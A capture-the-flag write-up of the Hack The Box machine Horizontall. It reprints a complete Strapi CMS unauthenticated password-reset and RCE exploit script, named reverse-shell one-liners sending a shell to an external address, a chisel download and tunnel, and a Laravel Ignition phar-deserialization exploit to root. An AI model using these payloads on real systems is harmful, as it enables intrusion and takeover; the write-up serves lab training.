Reconnaissance
First, I added the new host to my known ones:
sudo echo "10.10.11.105 horizontall.htb" | sudo tee -a /etc/hosts
Then, I performed a Nmap scan:
nmap -sC -T4 -p- horizontall.htb > sC.txt
[redacted]
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
| 256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_ 256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open http
|_http-title: horizontall
So I took a look at the website:
After inspecting the source code and looking for virtual hosts or subdomains I didnโt find anything. So I decided to perform some enumeration using dirsearch ๐, but neither found anything.
So I decided to check what the app was doing by inspecting the petitions it made:
So I loaded app.c68eb462.js
which was obfuscated:
So it was time to apply some JavaScript Deobfuscation ๐ธ:
I discovered a new vhost, so I added it to my known ones:
So now I performed some enumeration again with dirsearch ๐:
dirsearch -u http://api-prod.horizontall.htb -w ~/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -e *
[redacted]
[10:15:49] 200 - 507B - /reviews
[10:15:49] 403 - 60B - /users
[10:15:49] 200 - 854B - /admin
[10:15:53] 200 - 507B - /Reviews
[10:15:59] 403 - 60B - /Users
[10:16:06] 200 - 854B - /Admin
If we inspect reviews
we can see all the ones that currently exist:
We can see that there are already 3 users: wail
, doe
and john
I also discovered an admin panel inside /admin
:
I tried some basic combinations, but none was successfull, so I checked for some CVE related to Strapi
Weaponization
So I got the script of the setting password Unauthenticated:
cp $(locate multiple/webapps/50239.py) .
# Exploit Title: Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 2021-08-30
# Exploit Author: Musyoka Ian
# Vendor Homepage: https://strapi.io/
# Software Link: https://strapi.io/
# Version: Strapi CMS version 3.0.0-beta.17.4 or lower
# Tested on: Ubuntu 20.04
# CVE : CVE-2019-18818, CVE-2019-19609
#!/usr/bin/env python3
import requests
import json
from cmd import Cmd
import sys
if len(sys.argv) != 2:
print("[-] Wrong number of arguments provided")
print("[*] Usage: python3 exploit.py <URL>\n")
sys.exit()
class Terminal(Cmd):
prompt = "$> "
def default(self, args):
code_exec(args)
def check_version():
global url
print("[+] Checking Strapi CMS Version running")
version = requests.get(f"{url}/admin/init").text
version = json.loads(version)
version = version["data"]["strapiVersion"]
if version == "3.0.0-beta.17.4":
print("[+] Seems like the exploit will work!!!\n[+] Executing exploit\n\n")
else:
print("[-] Version mismatch trying the exploit anyway")
def password_reset():
global url, jwt
session = requests.session()
params = {"code" : {"$gt":0},
"password" : "SuperStrongPassword1",
"passwordConfirmation" : "SuperStrongPassword1"
}
output = session.post(f"{url}/admin/auth/reset-password", json = params).text
response = json.loads(output)
jwt = response["jwt"]
username = response["user"]["username"]
email = response["user"]["email"]
if "jwt" not in output:
print("[-] Password reset unsuccessfull\n[-] Exiting now\n\n")
sys.exit(1)
else:
print(f"[+] Password reset was successfully\n[+] Your email is: {email}\n[+] Your new credentials are: {username}:SuperStrongPassword1\n[+] Your authenticated JSON Web Token: {jwt}\n\n")
def code_exec(cmd):
global jwt, url
print("[+] Triggering Remote code executin\n[*] Rember this is a blind RCE don't expect to see output")
headers = {"Authorization" : f"Bearer {jwt}"}
data = {"plugin" : f"documentation && $({cmd})",
"port" : "1337"}
out = requests.post(f"{url}/admin/plugins/install", json = data, headers = headers)
print(out.text)
if __name__ == ("__main__"):
url = sys.argv[1]
if url.endswith("/"):
url = url[:-1]
check_version()
password_reset()
terminal = Terminal()
terminal.cmdloop()
Exploitation
I executed the script:
python3 50239.py http://api-prod.horizontall.htb
So I could log in as administrator:
But as the script i executed gave me a blind RCE, I executed a reverse shell to gain remote access to the machine:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.28 666 >/tmp/f
Iโm in and can read user flag
Privilege Escalation
I decided to check for opened ports in the machine:
netstat -ant
Port 1337 is related to MySQL, so I performed a curl request to it:
curl -S 127.0.0.1:1337
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
<title>Welcome to your API</title>
<meta name="viewport" content="width=device-width, initial-scale=1" />
<style>
</style>
</head>
<body lang="en">
<section>
<div class="wrapper">
<h1>Welcome.</h1>
</div>
</section>
</body>
</html>
Port 8000 seems to be running Laravel v8:
curl -S 127.0.0.1:8000
[redacted]
<div class="ml-4 text-center text-sm text-gray-500 sm:text-right sm:ml-0">
Laravel v8 (PHP v7.4.18)
</div>
So I forwarded that port to my machine by creating a tunnel using Chisel ๐ฆฆ:
# In my machine I executed:
python3 -m http.server 8090
# In horizontall machine I executed:
cd /dev/shm
wget http://10.10.14.28:8090/chisel_1.10.1_linux_amd64
chmod +x chisel_1.10.1_linux_amd64
# Now in my machine I executed:
./chisel_1.10.1_linux_amd64 server -p 8001 --reverse
# Finally in the horizontall machine I executed:
# 9000 is the port on the victim's machine which is using chisel for the connection
./chisel_1.10.1_linux_amd64 client 10.10.14.28:8001 R:9000:localhost:8000
Now if we input http:localhost:9000
in our browser, we can see the hidden service:
So I decided to search for โLaravel v8 exploitโ and found CVE-2021-3129
- Youโve got a nice blog post in ambionics.io
I need to download phpggc which is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically.
Then I executed:
mkdir phpggc && cd phpggc && git clone https://github.com/ambionics/phpggc.git
php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id
cd..
python3 laravel-ignition-rce.py http://localhost:9000 /tmp/exploit.phar
+ Log file: /home/developer/myproject/storage/logs/laravel.log
+ Logs cleared
+ Successfully converted to PHAR !
+ Phar deserialized
--------------------------
uid=0(root) gid=0(root) groups=0(root)
--------------------------
+ Logs cleared
We got code execution!
So now we can use a reverse shell to gain root access:
php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.28 777 >/tmp/f'
python3 laravel-ignition-rce.py http://localhost:9000 /tmp/exploit.phar
+ Log file: /home/developer/myproject/storage/logs/laravel.log
+ Logs cleared
+ Successfully converted to PHAR !
[redacted]
Machine pwned!